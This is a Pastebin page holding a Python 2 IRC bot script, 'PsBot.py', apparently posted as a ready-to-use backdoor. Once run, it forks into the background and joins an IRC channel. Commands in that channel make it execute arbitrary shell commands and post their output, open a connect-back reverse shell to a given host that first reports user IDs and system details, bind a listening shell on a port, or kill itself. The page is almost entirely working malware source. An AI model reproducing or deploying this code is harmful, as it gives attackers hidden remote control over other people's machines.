Advertisement
Googleinurl

PsBot.py ( exec,connecback,backdoor)

Oct 9th, 2013
513
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.70 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import sys
  4. from socket import *
  5. import string
  6. import os
  7. import time
  8. import popen2
  9. import signal
  10.  
  11. def daemonize():
  12.     pid = os.fork()
  13.     if(pid != 0):
  14.         os._exit(0)
  15.  
  16. def main():
  17.     if len(sys.argv) < 5:
  18.         print "Usage:",sys.argv[0]," <host> <port> <nick> <channel> (password)"
  19.         sys.exit(1)
  20.  
  21.     HOST = sys.argv[1]
  22.     PORT = int(sys.argv[2])
  23.     NICK = sys.argv[3]
  24.     CHAN = sys.argv[4]
  25.     PASS = ""
  26.  
  27.     if len(sys.argv) == 6:
  28.         PASS = sys.argv[5]
  29.         print "[+] Connecting to %s@%s:%s (chan:%s pass:%s)" % (NICK, HOST, PORT, CHAN, PASS)
  30.     else:
  31.         print "[+] Connecting to %s@%s:%s (chan:%s)" % ( NICK, HOST, PORT, CHAN )
  32.  
  33.     print "[+] Done.."
  34.  
  35.     readbuffer = ""
  36.  
  37.     s = socket( )
  38.  
  39.     try:
  40.         s.connect((HOST, PORT))
  41.     except:
  42.         print "[-] Couldn't connect to %s:%s" % (HOST, PORT)
  43.         sys.exit(1)
  44.  
  45.     s.send("NICK %s\r\n" % NICK)
  46.     s.send("USER %s %s bla :%s\r\n" % (NICK , NICK, NICK))
  47.  
  48.     if len(PASS) != 0:
  49.         s.send("JOIN %s %s\r\n" % (CHAN, PASS))
  50.     else:
  51.         s.send("JOIN %s\r\n" % (CHAN))
  52.  
  53.     while 1:
  54.         readbuffer=readbuffer+s.recv(1024)
  55.         temp=string.split(readbuffer, "\n")
  56.         readbuffer=temp.pop()
  57.         for line in temp:
  58.             line=string.rstrip(line)
  59.             line=string.split(line)
  60.             try:
  61.                 if line[1] == "JOIN":
  62.                     name = str(line[0].split("!")[0])
  63.                     s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "Welcome ", name.replace(":","") , "!!"))
  64.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|------------------------------|"))
  65.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "| qnix[at]0x80[dot]org |"))
  66.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|       psbot.py v0.1        |"))
  67.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|    type !help for help  |"))
  68.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|------------------------------|"))
  69.                 if line[3] == ":!help":
  70.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Displaying list of commands the bot understands"))
  71.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !exec     <command>      - execute command"))
  72.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !connback <host> <port>  - connback backdoor"))
  73.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !backdoor <port>         - backdoor"))
  74.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !die    - die!!"))
  75.                 if line[3] == ":!exec":
  76.                     temp = []
  77.                     temp2 = []
  78.                     for lines in line:
  79.                         temp.append(lines)
  80.                         if len(temp) > 4:
  81.                             temp2.append(lines)
  82.                     command = ' '.join(temp2)
  83.                     s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "[+] Executing \"", command, "\""))
  84.                     for line in os.popen(command).readlines():
  85.                         s.send("PRIVMSG %s :%s\r\n" % (CHAN, line))
  86.                 if line[3] == ":!connback":
  87.                     if line[4] != "":
  88.                         if line[5] != "":
  89.                             host    = line[4]
  90.                             try:
  91.                                 port    = int(line[5])
  92.                             except:
  93.                                 s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] invalid port number"))
  94.                                 break
  95.                             shell   = "/bin/bash"
  96.                             s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[+] Connback to ", host, port))
  97.                             s2 = socket(AF_INET, SOCK_STREAM)
  98.                             try:
  99.                                 s2.connect((socket.gethostbyname(host), port))
  100.                                 s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Done"))
  101.                                 s2.send("########################################################\n")
  102.                                 s2.send("############## Psbot Connect-back Backdoor #############\n")
  103.                                 s2.send("########################################################\n\n")
  104.                                 s2.send("UID: %s GID: %s\n" % (os.getuid(),os.getgid()))
  105.                                 s2.send("Process ID: %s\n" % (os.getpid()))
  106.                                 s2.send("Current Directory: %s\n" % (os.getcwd()))
  107.                                 for info in os.uname():
  108.                                     s2.send("System information: %s" % (info))
  109.                                 s2.send("\nTime: %s\n\n" % (time.ctime(time.time())))
  110.                             except:
  111.                                 s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[-] Couldn't connect to ", host, port))
  112.                             os.dup2(s2.fileno(), 0)
  113.                             os.dup2(s2.fileno(), 1)
  114.                             os.dup2(s2.fileno(), 2)
  115.                             os.system(shell)
  116.                 if line[3] == ":!backdoor":
  117.  
  118.                     try:
  119.                         port = int(line[4])
  120.                     except:
  121.                         s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] Invalid port"))
  122.                         break
  123.  
  124.                     s.send("PRIVMSG %s :%s%s\r\n" % (CHAN, "[+] Backdoor on port ", port))
  125.  
  126.                     try:
  127.                         s3 = socket(AF_INET,SOCK_STREAM)
  128.                         s3.bind(('', port))
  129.                         s3.listen(5)
  130.                         s.send("PRIVMSG %s: %s\r\n" % (CHAN, "[+] Done!!"))
  131.                     except:
  132.                         s.send("PRIVMSG %s: %s%s\r\n" % (CHAN, "[-] Failed SockError: ", sys.exc_value))
  133.                         break
  134.  
  135.                     if os.fork()==0:
  136.                         while 1:
  137.                             connection,addreess=s3.accept()
  138.                             data=connection.recv(1024)
  139.                             if os.fork()==0:
  140.                                 while 1:
  141.                                     data=connection.recv(1024)
  142.                                     if not data:break
  143.                                     cmd_res,stdin,stderror=popen2.popen3(data[:-1])
  144.                                     result=cmd_res.read()
  145.                                     error=stderror.read()
  146.                                     if error:
  147.                                         connection.send(error)
  148.                                     for i in range(len(data.split())-1):
  149.                                         if 'cd' in data.split()[i]:
  150.                                             try:
  151.                                                 os.chdir(data.split()[i+1].split(';')[0])
  152.                                             except:
  153.                                                 error="[-] Error"+str(sys.exc_value)+"\n"
  154.                                                 connection.send(error)
  155.                                     username=os.popen("whoami").read()
  156.                                     adr=os.popen("uname -n").read()
  157.                                     if username[:-1]=='root':
  158.                                         simvol="# "
  159.                                     else:
  160.                                         simvol="> "
  161.                                     path=os.getcwd()
  162.                                     promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
  163.                                     answer=result+promt
  164.                                     connection.send(answer)
  165.                 if line[3] == ":!die":
  166.                     s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Killing me.."))
  167.                     myproc = popen2.Popen3("")
  168.                     pgid = os.getpgid(myproc.pid)
  169.                     os.killpg(pgid, signal.SIGKILL)
  170.             except(IndexError):
  171.                 pass
  172.    
  173.             if(line[0]=="PING"):
  174.                 s.send("PONG %s\r\n" % line[1])
  175.  
  176. if __name__ == "__main__":
  177.     daemonize()
  178.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement